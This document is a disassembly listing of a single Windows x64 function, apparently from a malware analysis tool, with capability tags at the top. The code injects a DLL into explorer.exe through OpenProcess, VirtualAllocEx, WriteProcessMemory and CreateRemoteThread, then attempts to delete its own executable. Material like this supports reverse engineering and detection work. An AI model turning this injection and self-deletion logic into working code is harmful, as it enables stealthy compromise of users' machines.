Function at 0x140005d20
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x3c0
mov rax, qword [0x14011e080]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
movups xmm0, xmmword [str.C:WindowsSystem32Xilium.CefGlue.WPF.dll]
movaps xmmword [rsp + 0x190], xmm0
movups xmm1, xmmword [0x1400cbb38]
movaps xmmword [rsp + 0x1a0], xmm1
movsd xmm0, qword [0x1400cbb48]
movsd qword [rsp + 0x1b0], xmm0
movzx eax, word [0x1400cbb50]
mov word [rsp + 0x1b8], ax
movzx eax, byte [0x1400cbb52]
mov byte [rsp + 0x1ba], al
xor edx, edx
mov r8d, reloc.WLDAP32.dll_Ordinal_217
lea rcx, [rsp + 0x1bb]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rsp + 0x64]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x60], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
xor ebp, ebp
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140005f72
mov ebx, dword [rsp + 0x68]
test ebx, ebx
jne 0x140005e21
lea rcx, str.ERR_:_Process_Not_found._n
jmp 0x140005f6d
lea rdx, [rsp + 0x8c]
lea rcx, str.Traget_Process_:__s_n
call fcn.140003290
mov edx, ebx
lea rcx, str.Target_PID_:__i_n_n
call fcn.140003290
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140005e68
lea rcx, str.ERR_:_INVALID_HANDLE_VALUE._n
jmp 0x140005f6d
lea rcx, str._______Handle_to_Taregt_Process_opened..._n
call fcn.140003290
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140005ea7
lea rcx, str.Not_Able_to_allocate_memory_in_the_target_process._n
jmp 0x140005f6d
lea rcx, str._______Memory_allocated_to_Taregt_Process..._n
call fcn.140003290
lea rcx, [rsp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r9, eax
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x190]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, [rsp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r9, eax
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x190]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140005f18
lea rcx, str.Not_able_to_write_the_dll_to_the_Taregt_process._n
jmp 0x140005f6d
lea rcx, str._______DLL_Injected..._n
call fcn.140003290
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400cba90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, rax
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
jne 0x140005f8a
lea rcx, str.CreateRemoteThread:_INVALID_HANDLE_VALUE._n
call fcn.140003290
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140005df0
jmp 0x140005fa2
lea rcx, str._______Remote_Thread_Created._n
call fcn.140003290
lea rcx, str._____Finished___n
call fcn.140003290
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rsp + 0x2a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x40]
call fcn.1400089f0
nop
lea rcx, [rsp + 0x40]
call fcn.1400056e0
movzx ebx, al
lea rcx, [rsp + 0x40]
call fcn.140004e20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test bl, bl
lea rdx, str.Executable_deleted_successfully.
jne 0x140006006
lea rdx, str.Failed_to_delete_the_executable.
call fcn.140008a40
lea rdx, [0x140008c20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3